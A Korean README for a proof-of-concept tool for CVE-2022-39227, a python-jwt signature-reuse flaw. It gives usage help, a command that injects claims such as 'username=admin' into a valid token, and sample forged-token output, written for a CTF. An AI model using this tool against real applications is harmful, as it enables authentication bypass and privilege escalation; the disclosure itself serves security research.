
CVE-2022-39227 : 개념 증명
CVE-2022-39227 : 개념 증명
CVE-2022-39227에 대한 개념 증명입니다. 이 CVE에 따르면 JSON 웹 토큰 검증에 결함이 있습니다. 유효한 토큰으로 수정된 클레임과 함께 서명을 재사용할 수 있습니다.
필요 사항:
편의를 위해 CTF 중에 간단한 PoC를 작성했습니다:
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM
Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4
options:
-h, --help show this help message and exit
-j TOKEN, --jwt_token TOKEN
Original and valid JWT Token returned by the application
-i CLAIM, --injected_claim CLAIM
Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
(e.g. username=admin,id=3)
사용법:
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
반환값:
{" <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}
반환값은 JSON과 간결한 표현이 혼합된 형태입니다. 새 JWT 웹 토큰으로 사용하려면 "{"와 "}"를 포함한 전체 값을 붙여넣어야 합니다.